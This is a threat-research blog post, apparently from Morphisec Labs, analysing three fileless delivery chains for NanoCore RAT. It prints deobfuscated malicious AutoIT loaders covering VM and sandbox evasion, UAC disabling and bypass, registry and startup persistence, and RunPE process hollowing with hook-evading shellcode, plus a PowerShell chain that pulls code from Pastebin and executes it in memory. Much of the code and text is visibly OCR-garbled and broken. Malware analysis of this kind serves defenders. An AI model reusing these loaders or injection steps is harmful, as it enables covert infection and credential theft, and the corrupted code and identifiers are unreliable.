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In this blog, we will present some findings on how NanoCore RAT 1.2.2.0 is actively being delivered in new and
different ways that we discovered at Morphisec Labs in the last couple of months. Specifically, we will focus on

the sophisticated fileless methods for delivering the RAT without touching the disk.

Background

Remote Access Trojans, also known as RATSs, remain as one of the most prevalent forms of malware and are
leveraged in many different types of cyber-attacks. Various flavors and versions of these RATs are freely available
and easily modified to fit the unique requirements of any given attack. The primary purpose of using RATSs is to
gain unauthorized remote access to the victim’s device after the initial infection of the machine. Once an attacker
gains access to the machine using these RATS, they can try to collect keystrokes, usernames, passwords, browser
history, emails, screenshots, etc. A few examples from a much larger list of popular RATSs include Poison-1vy,
JRAT, NjRAT, Orcust-RAT, CyberGate, DarkComet, DreamWare, BlackShades, NetWire.

NanoCore Malware is a RAT that has become popular in recent years as it is commonly used by threat actors and
is believed to be one of the most sophisticated RATs in the market. Since it was discovered in 2013, multiple
different versions have been leaked on underground forums. The latest leaked version was 1.2.2.0 in March 2015
and is available online to download for free. NanoCore RAT comes with a few base plugins and the ability to
expand its functionality, so threat actors can develop additional features for other malicious actions. There is
already a wide range of NanoCore plugins available online that can be used for cryptocurrency mining,

ransomware attacks, and more.

Defense solutions have been updated to detect NanoCore malware based on multiple metadata and strings that

reside within its Client executable. Fileless and in-memory attacks give the adversaries the advantage of bypassing

behavior and static scanning attempts without sacrificing functionality.

Distribution Methods

The most common initial delivery method today is via attachments in spam emails and web download links.
Previously, security researchers found Microsoft Word documents with malicious auto-executable VBA code and

a fake invoice in PDF format that can install the NanoCore RAT.

The first delivery method we identified is using the actual compiler, Autoit3.exe (version 3.3.8.1) which was used
by renaming the legitimate AutoIT Script interpreter to cxf.exe to bypass basic script control based solutions.
Additionally, the malicious code was executed as a script instead of as an actual AutoIT executable to further
evade detection from AV. The malicious script demonstrates advanced support for process hollowing for both 32

and 64-bit architectures, VM evasion, and the use of advanced shellcodes such as RunPE. Here we will investigate
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the functionality of the script and how it delivers and executes the NanoCore RAT. A similar type of attack was
previously reported by TALOS and HornetSecurity, but with a different primary source of the attack and a
different file type for the config file.

The second distribution method is using a PowerShell command to download and execute the NanoCore malware
from a Pastebin account in-memory. The method is well described as part of the “Aggah” campaign that
eventually delivers RevengeRat. In this method, a Pastebin link is run via PowerShell which deobfuscates to

NanoCore RAT that was obfuscated with Eazfuscator.

The third delivery method involves the compilation of the malicious AutolT script into an executable that includes
additional functionality. With this method, the executable includes mechanisms for bypassing user control based
on the target OS, extended hollowing capabilities for executing the NanoCore RAT from within different

legitimate Windows processes, and more advanced shellcodes that bypass hooks and monitoring.
Past Abuse of AutoIT

AutolT script is a legitimate tool that is used by many IT administrators to automate tasks. At the same time, it is
constantly leveraged by malware authors to deliver different types of malware. In March 2018, security
researchers at HornetSecurity witnessed an attack where the NanoCore RAT was distributed via a phishing email
that had a PDF file with a link that downloaded a self-extracting archive. The archive contained a legitimate
AutolT interpreter that had been renamed, a malicious script, a configuration file with a .docx extension, and

many other files with various extensions.

In April 2019, researchers at SonicWall observed a phishing campaign that spread the NanoCore RAT through
malicious attachments. The attachments had an iso file that had an AutoIT compiled executable that executed the

NanoCore RAT in memory.

Similarly, in May 2018, researchers at Fortinet identified usage of AutolIT to distribute Remcos RAT by using
Exploit CVE-2017-11882. Researchers also noticed a similar type of approach where AutoIT was used to deliver
Mokes/SmokeBot backdoor and Dofoil/Smoke Loader as well.

Technical Analysis
Method 1: AutoIT Executes a Malicious FILE
Stage 1:

Main Components Involved:

1. ufj=ked

2. cxf.exe

3. gnb.jpg

The script file ufi=ked contains commented garbage code. Most of the code includes comments that are

disregarded by the interpreter. After cleaning the garbage code, the size of the script file came down from 203 kb
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to 7 kb. Below is the de-obfuscated code in ufj=ked script.

$ipg_file - "qnb.jpg”
ProcessExists("avastui.exe")
Execute("Sleep(20000)")

$config file - @criptDir & "\" & $jpg file

$dir_name - IniRead($config file, "Setting”, "Dir", "')

$sk_value - IniRead(@ScriptDir & "\" & $jpg_file, "Setting”, “sK", '')
$sn_value - IniRead(@ScriptDir & "\" & $jpg file, "Setting”, “sN", '")

$sk_value o $sn_value

$characters_to read - FileRead(@ScriptDir & "\" & $jpg file)
$encoded_data - _StringBetween($characters_to_read, “[sData]”, "[esData]™)
$characters_to_read - $encoded_data[@]

$random_value - _generate random value()

$decoded_data - BinaryToString(decoder($characters_to_read, $sk_value))
$old data - StringReplace($decoded_data, “"Settings File Name", $jpg_file)
Execute( 'FileSetAttrib("*.*", "+HR")")

FileWrite(@scriptDir & "\" & $random value, $old data)

$XeS - @AutoItExe

Run($XeS & " " & _get short_name(@ScriptDir & "\" & $random_value))
Execute( 'Sleep(10+18+18) ")

_get _short_name($random_value)
FileGetShortiName($random_value)

_generate_random_value()
$random_name

$range 1 5
$random_name Chr(Random(&65, 9@, 1))

$random_name

_StringBetween($s_String, $s_Start, $s_End, $v_Case 1)
$s_case "
$v_Case $v_Case 1 $s_case 24)"
$s_pattern_escape - "(\. [N [\FIN2NEINCIN) MG INDINT I NS W)
$s_Start = StringRegExpReplace($s_Start, $s_pattern_escape, "\\$1")
$s_End - StringRegExpReplace($s_End, $s_pattern_escape, "\\$1")
$s Start " $s_Start - "\A"
$s5 End - " $s_End “\z"
$a_ret - StringRegExp($s_String, "(?s)" & $s _case & $s_Start & "(.*¥2)" & $s_End, 3)
@error SetError(1l, @, @)
$a_ret

decoder($a, $b)
$binary "C8116A6A5356578B55131C939CR4980D7F2AEA84829C88945F85CF34DCBO188C82C18884DEFFEFFFFE2F38365F48365FC817DFC17D478B45FC31D2F775F923451FB68BADFCFB68CDFFEFFF!
638B85ECFEFFFF425F F8985ECFEFFFF89D8385ECFEFFFFFB6385EBFEFFFF25FF8985EBFEFFFFBODE3BSECFEFFFFBAGBODF 3BDESFEFFFFE67886FB6EFB671C181E1FF8ABADFFEFFFFBB7581D63642EB985F5H

$binary_struct = DllStructCreate("byte[" & BinaryLen($binary) "1y
DllstructSetData($binary_struct, 1, $binary)

$a struct = DllStructCreate(“byte[” & Binarylen($a) & "]™)
DllstructSetData($a_struct, 1, $a)

D11Call("user32.d11”, "none”, "CallWindowProc™, “"ptr", D11StructGetPtr($binary_struct), "ptr”, DllStructGetPtr($a_struct), "int", Binarylen($a), “str”, $b, "

$struct_data - D11StructGetData($a_struct, 1)
$a_struct - @
$binary_struct - @

$struct data

Before we get into what ufj=ked script does, let’s first look at the third file gnb.jpg, which is the configuration
used by the script and contains a second AutolT script and a loader. This gnb.jpg file is also riddled with garbage

values that required cleaning. Below is an image showing how it looks after cleaning.

[Setting]
sxd_Keys=29
Keys-tau
Dir=83271834
Key-WindowsUpdate
AuEx-ufj-ked
EXEc-cxf.exe
StartUps-kjd

[Data]
exC78F496D9F29086029081A61CCASD268B6ASBF84C6137759BCOEBEEFG7558088130D55B81ABCAFCC66D2B7A2ZAS43E832AAA13FB7681A37C2F3BB2EDAC215841423A1F6CFOF3E64349AF5F324E6C5A75ES23!

[eData]
sN-fot.cfk
inc-pmq.jia

[sData]
Bx86ATAEAE397286D568C5BAFBI9AAC2C9666D8CD2F7 2EABE7CBOAA4980A255D86DAFABF1E4ACT 2ESFGEBG63007215B700AA409B117A750EF6C35EDBAAFAS1BO1D6E92B94076DB2F6942923048F45D873BB328

[esData]
inc-pmq.jia

cxf.exe, a copy of Autoit3.exe interpreter runs the malicious Autoit script ufj=ked. If we go back to the de-

obfuscated code in ufj=ked script (first figure) and understand how the script ufi=ked works, we can clearly see

that the script is checking for existing Avast AV process avastui.exe. Then it locates the configuration file gnb.jpg
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and gets the values of sK and sN. If the values are empty, the script terminates. If the values are not empty, the
script reads all the data between [sData] and [esData] and gets sK value (which here is 545) to process the decoder
function and finally execute the script. During this process, a randomly named file is written to the same directory
with the data from the configuration file. This new script is also an obfuscated AutoIT script that also sets the
attributes of files in that current directory to read-only and hidden. This first script is similar to the scripts in the

older attacks mentioned above, except with the addition of the configuration file.

Stage 2:

In this stage, the randomly named AutoIT script dropped by ufj=ked script is also triggered by the same cxf.exe.
This new script also checks for the values in the configuration file, gnb.jpg, and has different checks before it even

runs the NanoCore RAT payload.
So, what’s inside this new script?

The first thing to notice is its obfuscation, which is similar to the main script. After spending a significant amount
of time on de-obfuscation, we were able to find some interesting items inside. The script starts with declared
global variables, some of which are dword values for registry checks and modifications. Others are for the values
obtained from the configuration file. We also noticed that it has some unused variables that might just be included
for use in later versions. As soon as this script is triggered, it sets the attributes of files in that current directory to
read-only and hidden, just like the previous script. The script then performs different checks and makes
modifications to system configuration and registry values. It checks if it is running inside virtual machines or
sandboxed applications and if so, it terminates. Otherwise, it disables UAC, system restore points, and task
manager and then adds a Windows Update key to the registry and startup for persistency. Finally, if the config file
has a URL, it downloads the payload from there. If the config file has raw PE data, it gets a payload from there

and injects it into the process memory of RegSvcs.exe using the RunPE technique.

Below are a few images of the code from the script that we de-obfuscated, cleaned, and renamed functions and
variables to show the functionality. The functions are not in exact order, instead, they are presented as below for

easy understanding.
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$ConfigFile - @ScriptDir "\gnb.jpg"
$dir_name - IniRead($ConfigFile, "Setting", "Dir", '"}
$MalwareDir - @TempDir "\" & $dir_name

Sleep(168)
FileSetAttrib($MalwareDir, "+H")
Sleep(168)

everything_happens_inside_here()

everything_happens_inside here()
$message box data - IniRead($ConfigFile, "Setting", "msg", '')
$message_box_data v display_message_box()

$mshta_data - IniRead($ConfigFile, "Setting", " S@x20057179D673181B71D4593BFB2A0458", '')
$mshta_data v CreateAndKillMshta()

$running_in_vm = TniRead($ConfigFile, "Setting", "wM", '")
$running_in_wvm v ExitIfvM()

$running_in_sandbox - IniRead($ConfigFile, "Setting"”, "SandBox", "')
$running_in_sandbox v ProgramManagerCheck()

$disable uac = IniRead($ConfigFile, "Setting", "duac", '')
$disable_uac t DisableUAC()

isable restore poin niRea onfigFile, etting", rpt",
$disabl t int - IniRead($ConfigFile, "Setting”, "drpt", "')
$disable_restore_point i DisableRestorePoints()

$disable_other_traces IniRead($ConfigFile, "Setting", "btklr", "'}
$disable_other_traces i DeleteTraces6d()

$disable_task _manager - IniRead($ConfigFile, "Setting", "taskmnrg", "'}
$disable_task_manager i DisableTaskMgr()

$hsup_settings - IniRead($ConfigFile, "Setting", "hSUps", '")
$startup_settings - IniRead($ConfigFile, "Setting", "StartUps", ')
$startup_settings v
$WindowsUpdateRegkey - IniRead($ConfigFile, “"Setting", "Key", "'}

AddRegPersistency($WindowsUpdateRegKey)

$URLPath IniRead($ConfigFile, "Setting", "Down", '')
$URLPath e DownloadAndExecuteFile(BinaryToString($URLPath))

$net_setting = IniRead($ConfigFile, "Setting", "Net", '')
$net_setting v $net_setting

$eof_setting - IniRead($ConfigFile, "Setting", "eof", '')
feof_setting t $eof

$runPE_setting - IniRead($ConfigFile, "Setting", "RP", '')
$runPE_setting v FileFxists{@ScriptDir & "\spd") RunPE_Payload($runPE_setting)

FileDelete{@scriptDir & "\spd")
launch_main_script()

$fb_setting = BinaryToString(IniRead($ConfigFile, "Setting", "fb", ''))
$bktl_setting - IniRead($ConfigFile, "Setting", "btkl", "")
$fb_setting e $bktl setting v $hsup_settings e RunPE_cxf()

Sleep(2000)
FileDelete(@scriptFul lPath)
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From the above figure, we can see that the RunPE_Payload function takes malicious payload data from the config
file, decrypts using the Keys value. _SO0x9A130944BC5ED49CF25A0ABCA629E5F B function, then takes the
value and decrypts the payload using CryptDecrypt function. Finally, the RunPE_Payload function injects the

payload into RegSvcs process memory.

NanoCore RAT & Plugins

Debug  Window  Help e 4 . p sat | O

¥ X NanoCore Clent (1.2.2.0)

100 %

Search

(z) Options Search For: #z Al of the Above  ~ Al Fles

Method 2: PowerShell In-memory Delivered NanoCore

The second delivery method was already covered by YOROI but in our case, NanoCore was delivered instead of
NjRat.

The first PowerShell is an array of ASCII and after decoding we get the next PowerShell code.
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.

41);[System.Text.Encoding]: :ASCII.GetString(%cici) | IEX

The second PowerShell downloads two items from Pastebin; Process Hollowing Injector and the NanoCore RAT.

[void] [System.Reflection.Assembly]::LoadWithPartialName( 'Microsoft.VisualBasic')
fj=[Microsoft.visualBasic.Interaction]::CallByname((New-Object Net.WebClient), 'DownloadString’,[
Microsoft.VisualBasic.CallType]::Method 'https://pastebin.cogéraw/zxc2quK') IEX
[Byte[]]¢f=[Microsoft.VvisualBasic.Interaction]::CallByname((New-Gbject Net.webClient), 'DownloadString’,[
Microsoft.VisualBasic.CallType]::Method, 'https://pastebin.com/raw/n56ZLgNS").replace('*&*"', '0x") | IEX
[k.Hackitup]::exe( 'MSBuild.exe', $f)

The Pastebin is been uploaded by the HAGGA actor.

Rl Fasse Data

.NET Process Hollowing Injector:

The first call to Pastebin downloads a .NET application that uses kernel32 calls to Hollow the NanoCore into
MSBuild.
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$jk=@(91,66,121,116,1061,91,93,93,36,115,99,54,52,61,105,101,120,40, 39,37,95,52,68,44,37,95,53,65,44,37,95,
57,48,44,37,95,48,48,44,37,95,48,51,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,52,44,37,95,4
8,48,44,37,95,48,48,44,37,95,48,48,44,37,95,70,70,44,37,95,70,70,44,37,95,48,48,44,37,95,48,48,44,37,95,66
,56,44;37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,
48,44,37,95,52,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,4
8,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48

,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,
44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,4
4,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44
,37,95,48,48,44,37,95,56,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,48,44,37,95,48,69,44,37,95,49,70,44,
37,95,66,65,44,37,95,48,69,44,37,95,48,48,44,37,95,66,52,44,37,95,48,57,44,37,95,67,68,44,37,95,50,49,44, 3
7,95,66,56,44,37,95,48,49,44,37,95,52,67,44,37,95,67,68,44,37,95,50,49,44,37,95,53,52,44,37,95,54,56, 44, 37

The PowerShell invoke exe function that is part of k.Hackitup class.

[R.Hackitup]::exe('MSBuild.exe', %f)

The NanoCore RAT (which is downloaded from the second pastbin.com link) is being passed to the exe function.

FTONJ, byte[] client)

g text = Hackitup.smethod @(<Module>.smethod 33<string>(3852767217u), FTONJ);

num = 4086821857u;
65

num2;
((num2 = (num ~ 2935130638u)) % 32u)

In the Injector, a call to POPO class reveals all the kernel32 calls that are used to do the Process Hollowing.
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[D11Import("kernel32.d11", CharSet = CharSet. )]
( string_0, string_1,

[D11Import("kernel32.d11")]
intptr_@, [1 int_@);

[D11Tmport("kernel32.d11")]
intptr_0, [1 int_@);

[D11Import("kernel32.d11")]
intptr_@, [1 int_@);

[D11Import("kernel32.d11")]
intptr_0, [1 int_@);

[D11Import("kernel32.d11")]
intptr_oO, int_0O,

[D11Import("kernel32.d11")]
intptr_@, int int_O, []1 byte_8©,

[D11Import("ntdll.d11")]

[D11Import("kernel32.d11")]
intptr_0, int_©, int_1, int_2,

[D11Import("kernel32.d11")]
intptr_0);

POPO. struct2 =
@struct.uint_e = POPO.
result;

flag = !POPO. 'string_@, string_,
@struct, ref struct2),
(3)

numd = 1778989048u;
(3)

nume ;

[1 byte_ = POPO. (numé) ;

num7 ;

flag2 = !POPOL struct2.intptr_e, num7 + 8, byte , 4,
num4 = (num2 * 3155892091U ™ 61355588/u);

3
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58u:

59u:

num4 = ((POPO tstruct2.intptr 1) == -1) ? 1953533075u : 212546601u);

3

60u:

NanoCore:

Method 3: AutoIT Delivers Compiled Script to Executable

The Autolt compiled executable was delivered as a PDF file with an executable extension, using the Autolt tool
“Exe2Aut” reveals the obfuscated script, the execution steps are controlled by an assigned variable whose value is
validated across multiple ‘if” conditions running in a ‘for’ loop — each time only a single condition is evaluated

and following this the next step is assigned to be evaluated in the loop iteration.

(%) Exe2Aut - Autolt3 Decompiler [E=nE=R ===

Func wwmebwpgougfz ($sstring, $sshift)
Return StringMid($sstring, Stringlen($sstring) - $sshift + 1) & StringMid($sstring, 1, Stringlen($sstring) - $sshift)
EndFunc

Global $1737321580 = 2050491830

Global $l8qdjofzmo = 701808

For $yilfldofumesb = 0 To 2
IsBinary (nmebvpgs

"TCva¥1]6BX3BN QKT SKFQICE0rALTL nHATL 3£ KT £5gTMY ¥akE. ", 19))

If 240 > 224 BND 219 < 232 AND 225 = 225 AND 194 < 252 AND 254 < 282 2ND 51737321530 = 5149440 Then
£5¢ 11

Dim = lauhiighxfa £2 (" JA0ztEiSobwgLFpTarSR$KulkuTuRXDewADgbESqQXTgTheLaFD", 31))
Dim azigtgms junclgl =4
51737321590 = 548242771
IsString(1851128 - 2237500 - 185337 - 629352)
EndIf
If 173 <= 293 AWD 185 AND 112 < 131 AND 181 <= 134 AND $1737321530 = 12074217 Then
£ faj 1 fa = $ilf eltteiajmsldot 3pr 1n £2 ("ZeYE: 18c: wd Cer”, 13))
59254
EndIs
If 127 <= 149 AND 300 > 223 AND 130 < 279 AND 285 < 292 AND 218 < 257 AND $1737321530 = 82393088 Then
Exist £2 ("] DX79nXcI1BROFOR", 5))
51737321590 = 308074614
IsPor £2 ("qNxI] sEyx", 26))
113 > 110 AND 123 = 123 AND 233 >= 110 AND 233 = 233 AND $1737321530 = 123434717 Then
11736635)
21 AND 213 = 213 AND 300 = 300 AND 223 >= 21§ AND $1737321530 = 174432660 Then
Jreat: 343 £¢ = Execute
50 = 1281998802
$70cnlyniOxzshkhbmerx = 971851 * 1846217 - 618742 + 1572329 - 1794320 * 3470358
80 AND 134 > 100 AND 111 = 111 AND $1737321590 = 203870837 Then
33 3dchpysl yIpEtywvlgyru = Execute
$kuzekobZktbljhklésys = 1336561
50 = 1935858960
£2 (5208 IxbhubywXT3 rE0VP2T, JUL¥IMESmkZTTxAmN A IR W1LNSINSZHE: 2ib", 4))
75; 08 = £2("B17 5 S5-1275+8162--3911+8739--1702+-7654-3650+-4555+252+1135-2459+5035+-B158+-B346+5815-2567+2073-4341+", 63)
EndIs
If 174 = 174 AND 214 <> 108 AND 261 <> 134 AND 165 <= 203 AND 160 <> 253 AND $1737321530 = 230637170 Then
teiajmeldat jpwesvrln = Execute
593
£2 ("gSQRVbgQDG1 ZxNTU4TE 5y1qnQH4 LuMFE IoUs6hDahl tORWHGCD1KynT 4BBgngDS 1aNgi 3z4WoT fmlbMapenBX1013U1nWusF7", 23))
EndIf
If 131 >= 102 AND 115 8 AND 200 < 232 AND 242 > 143 AND $1737321530 = 282488464 Then
51737321590 = 12074217
IsPrr (wwmebwpgougez ("K3BIsRn4¥31V4ugas! £ ££D5CACrV7dI626Cn1 JxkjExtyudz", 84))
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We have previously encountered this type of “shift” and “Loop” automatic obfuscation in previous Autolt

campaigns. Following a de-obfuscation of the script we identified a couple of interesting new additions:

A UAC Bypass implementation that correlates to the OS version update:

UACbypass()
$osversion $xjkqlkdyuagbesgdowcysdodupvpgskgkarymgwoemjmuysxfd
5 IsAdmin()
1 217 116 161 Execute('StringInStr($osVersion, "7")')

EventVwrBypass()
132 2 148 1 1 99 Execute('StringInStr($osVersion, "8")")
EventVwrBypass()
25 Execute('StringInStr($osVersion, "18")")

FodHelperBypass()

A 1 116 114 $
U\Software\Cl \mscfile\shell\open r G_SZ", @AutoItExe)')
ventvwr")')
Execute('ProcessClose(@AutoItPID)")

40 173 $1
rnel32.d11", "boolean" bdEnableWowb4F sRedirect > "'boolean”,
A hell\open\command", "DelegateE _SZ", "Null")')
" hell\open\command”, ™", "REG_SZ", @AutoItExe)')
odhelper")')
xecute('ProcessClose(@AutoItPID)")

Persistence through a shortcut in the start-up directory:
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Persist($%a, $b)
$15277225
$atiagqcnrrqo
$1527722593 18
$c Execute{ @HcmeDrlue & "\" & @ComputerName")
%d Execute('$c & "\" & $b')
te Execute('$d & "\" & $a')
$f - Execute('FileExists($d)"')
$g - Execute('FileExists($e)')
$h = Execute('FileExists($c)"')
$1i - Execute('FileRead(@ScriptFullPath) & Binary(@)')
%3 Execute('@StartupDir & "\" & $b")
%k Execute('FileExists($3)"')
$kbycufvbpozjfiwnfwbq = $d

Execute('$h = @')
Execute('DirCreate($c)")

Execute('$f = 0")
Execute('DirCreate($d)")

Execute('$g = 0")
Execute('FileWrite($e, $i)")

Execute('$k = @")
Execute('FileCreateShortcut($e, $3)")

Multiple hollowing modes (configurable):

$Shell(ode
$Shellcode
$Shellcode
$Shellcode
$Shellcode "000000000000000000"

149 235 235 268 250 211 211 113 251 $wpath by

Execute(" @HDmeDFlVE & "\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.58727\\\\RegAsm_exe" ')
228 252 = 252 297 < 299 $wpath - "2"
Execute('@HomeDrive & "\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.38319\\\\MSBuild.exe"")
273 pLE 215 197 107 178 178 $wpath "3"
Execute('@HomeDrive & "\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.56727\\\\RegSvcs._exe"")
251 188 18e 282 124 $wpath A
Execute('@HomeDrive & "\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.38319\\\\RegSvcs.exe"")
175 120 lel 176 17@ 212 159 220 230 $wpath "5
Execute('@ScriptFullPath')
150 269 118 170 262 pLt:] 95 223 187 $wpath "e"

$wpath Execute('@SystemDir & "\explorer.exe"')

193 105 296 217 151 151 $wpath

$wpath - Execute('@SystemDir & "\svchost.exe"')
102 100 185 276 292 l 2 102
Execute( @SystemDir & "\dllhost.exe"
29 200 290 154 2:’3 246 56 237 86 $wpath "g"

Execute('@SystemDir & "\cmd.exe"')

$puyuxhgfztpk 2]
154 154 271 2 113 1e3 $172185 ] 209
$1s - Execute(’'Dl1Call("kernel32", "ptr", "VirtualAlloc", dwurd "@", "dword", BinarylLen($Shellcode), "dword", "0x3000", "dword", "@x4@")["0"]')
$fs - Execute('Dl1StructCreate("byte f4q54fds54fgsd[” & 5tr1ngLEﬂ($lpFilE) & "1")")
Execute('D11StructSetData(D11StructCreate( byte 54rgd5zragsre4lf56[" & Binarylen($Shellcode) & "]*, $LS), "S4rgd5zragSrealfs5s”, $Shellcode)')
Execute('D11StructSetData($FS, "f4q54fds54fgsd™, $1pFile)’)
$ret - Execute(’'DllCallAddress("dword™, $LS, "str", $wPath, "ptr", Dl1StructGetPtr($FS))")
Execute('Dl1Call("kernel32", "dword"”, "VirtualFree"”, “dword”, $LS, "dword”, "@", "dword", "@x3@e8")')
$pid - Execute('D11Call("kernel32.d11", "dword”, "GetProcessId”", "handle”, $Ret["@"]1)["8"]')
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In-memory injection of the binary using shellcode:

In previous versions, we identified the use of simplistic RunPE for injection and hollowing of the NanoCore.
However, in the current version, the shellcode was adjusted to implement known methods of bypass and evading

hooks by remapping the relevant executables from the knownDIls section.

inject($wpath, $1pfile, $pr‘o‘tec‘t $persist)

$x3dgc bcuwtl
1 :. $

$Shellcode
$shellcode
$Shellcode 56 “B8945 5 8845 A®10FBE7DFF8845FES
$Shellcode FFASF88BA5F83B45F872
$Shellcode Z_ A8 8603 C EBE9 BEC83EC5C648B8D
$shellcode 333Ce89 98C8B49148B098B591857C745D84E744F 70C ?4§D4beE ’55(?"
$Shellcode 5 H96F6 5DC ?458[ 4E?44[1531C745C979'§' 65C745CA7T7AF
$Shellcode
$Shellcode "ESDAFEFFFF8945F08D45E85064A130000
$Shellcode "7ASECK56EC6AS5EEPOEBAGFEFFFF568975E4FF

v2 = NtCurrentPeb()->Ldr->InMemoryOrderModulelist.Flink->Flink[2].Flink;
188425531@;
1699966565 ;
1869182051;
110;
1632465998;
1701482224 ;
1399213943;
1769235381;
28271;

a:

*, ,_gned int, int *))GetProcAddressCustom((int)v2, (char *)&v19);
c y(int, si gnad int, int *, _DWORD, _DWORD, _DWORD, int *, signed int, _DWORD, signed int))GetProcAddressCustom((int)vz, (char *)&v13);
—>Ldr >Ir| emoryOrdertoduleList. Flink >Flink[2].Flink;

*)(int))GetProcAddressCustom((int)v5, (char *)&v26);

v 0;
if ( NtOpenSection(&3@, 12, &7) < 8 )

Section(v3e, -1, &32, @, @, @, &v31, 1, @, 2) >=0 )

return

The dlls that are mapped using NtOpenSection on the KnownDlls directory handle are:
\KnownDllIs32\advapi32.dll

\KnownDllIs32\kernel32.dll

\KnownDlIs32\ntdll.dll

\KnownDllIs32\user32.dll

\KnownDIIs32\0le32.dll
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i3z = ﬂalelEvadeHDDks((i
ﬂalelEvadeHnnks((:n:j&

= MapDllEvadeHooks( (int )&,
= MapDllEvadeHooks((int )&\
nel32 )

=132 = MapDllEvadeHooks({(int
MapDllEvadeHooks ((int)&vl
ser32 )

? = MapDllEvadeHooks((int)&.
MapDllEvadeHooks( (int)}&v146};

= MapDllEvadeHooks(({int)&v1
Add = (int (__ stdcall *){int))GetProcAddressCustom(
5 [ stdeall *)(int *))aetProcAddressCustom(.

yA(@575);
= GetPrDcAddFESSCustDm(

—_—ed T L L o

AES Decryption of the NanoCore Payload:

The payload is decrypted using AES_256 algorithm (0x6610).

ﬂNann(ong

$NanoCord

$NanoCord
$NanoCord
ﬂmann(opg
$iNanoCord

$NanoCord
$NanoCord
ﬂNanncopg
$NanoCord

$NanoCord

FEB7FA492ADFB2FB883D1F3B35A14E8D3AB90DA2760EF34EE7OAD2C3EF 21BH

"ACAF320A02492E46F309DFB47C44984B5D31CE4A02DA1A127841096623E9696CECB2C41EC20CF578BFOCCID3BESFABAC29DD512F28D28876C2B0D!

CE14B7613956 Cl 56FAGISF2I F5109F46FFB8DBD5FF11F62F1CD7D68CD580C8667790! 3 1F429DB137BA@ESF70D17E31E45B31D6186FF7
32878125A5 E71E2ECOD8E1CAF8306A4878474BB3DD5E26841 AA B496210242 BB9BO52CCB2D39C3B2A6DE3DDEDEC21ADFE7AS0418A49EEE4ADA4B1F77B5B1879F8D6C0OS
E848A7EF3D658237646920F7A96582AC929 611EFASD1B72D3C1DFAEB19960¢ DC8FABFE854234B12E6762B5539F8 2F7DCF2DEF2A7BSFE 5560F 0!
'2C38DD53B8FFACA7ESCC3C8997ABOB68BBCDDB7E1D680 1 SDE@B8D8198BD26S4CD1ED2E41382D8959F192A7E5B42836EAB74320316CAD! 6
791BE9BE75F6DC896864471118DEFEDE1EF56626AE3ED
CDA71B14D7770856F242633B5E648453E1333851 @
FeBe87D2665325A156D6D50F94A489296DA8F 2DAF7DAAC6@15CAB5449B0D7688F8F69F7360B144C9798F31D3B68414324D5CD7E4B
1F5FB82B3EA8AS842F3EE@S1A71FB7 7AFBAFBO7218BOC7BD589139191B8B318465CCA1ADAF9B649A038CIDAECOB6OAABAAAT(CB FF23F@4953B2BFD1FAF51EA511!
@CACE56A7154462E51D1C459D2A50BCDOALF206CE36 )14F9A6AFCDA43

$NanoCord - decrypt($NanoCore, "@x6E69776F6B7863736F716F6D79616F7962797A72767875776! 7666A746D", "-1")
injectionWrapper()

injectionrapper ()
wpath - "

$protect
$persist
$1pfile

ject($uwpath,

$NanoCord
$1pfile, $protect, $persist)

decrypt($ed, $ck, $rt)

$odbeljwunrlt

$tbuff

$ttempstruct

$iplaintextsize

$vreturn

tnrbxsjgku($ed, $rt)

$dllhandle - Execute(’D11O0pen("Advapi32.dll

$aret - Execute(’DllCall($dllhandle, “bo CryptAcquireContext”, “handle*”, @, "ptr”, 8, "ptr”, @, "dword”, 24, "dword
$retres > $aRet[1]")

Execute('D11Call($d1lhandle, "bool”, "CryptCreateHash”, "handle”, $retRes, "uint”, "6x0@@@80803", "ptr", @, "dword”, 8, "handle*", @)')
$hcrypthash = Execute("$aRet[5]")

$aret

$tbuff
Execute(
$aret
$aret
$vreturn
Execute(

Execute('D11StructCreate("byte[” & Binarylen($ck) & "1")")

'DllstructSetData($tBuff, E» cure(l), ELk) )

cute('D11Call($d1lhandle, ) Cryp struc $tBuff, "dword”, D11StructGet
te('D11Call($d1lhandle, ) Key™, Res 6610", "handle", $hCryptHa
"$aRet[5]")

'D11Call($d1lhandle, , "CryptDestroyHa:

$ck ~ $vretur

$tbuff
[N
$aret

Execute('D11StructCreate("byte[” & Binarylen($ed) + "
pllstructSetData($tBuff, Execute(1), $ed)')

Execute('D11Call($d1lhandle, "bool", “CryptDecrypt”, "handle", $ck, “handle", @, "bool", Execute("Tru *dword" truct*”, $tBuff, "dword*", Binarylen($ed))’)

$iplaintextsize - Execute("$aRet[6]")
$ttempstruct - Execute(’Dl1StructCreate(”byte[” & $iPlainTextSize + 1 & D1IStructGetPtr ($tBuff))”

$vreturn
$aret

Execute(
Execute(

$NanoCore
Main()

Main()
Persist("appmgmt
GoSleep (124!
$NanoCore
$NanoCore

Execute('Dl1Call($d1lhandle, roykey", "handle®,

Execute(’BinaryMid(D11StructGetData($tTempStruct, Execute(1)), 1, $iPlainTextSize)')
'D11Call($d1lhandle, 5 y £ dle", $retRes, "dword", @)’
'D1lclose($d1lhandle)")

ute(*Binary($vReturn)’)

AFA47F836ADBFAAD69B73EAESBSASBC6903BBBOE6333E3EEDF86162EFA1AABF228 E6CEASE18AC331C162DB@432317B8249AFB597DCD2A3ECA69D306BF
371768A1C0119FB6084AA9BOC3BB66D7BBB86IEAS67BEA3 e A4D7CBA3655E2158EE7C8BF8677C1B31C7B11F1A3B71C9C8060F55FA7FADF8942E2)

NanoCore decrypted settings:
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The compiled NanoCore client embeds the encrypted plugins and settings as part of its file resources.

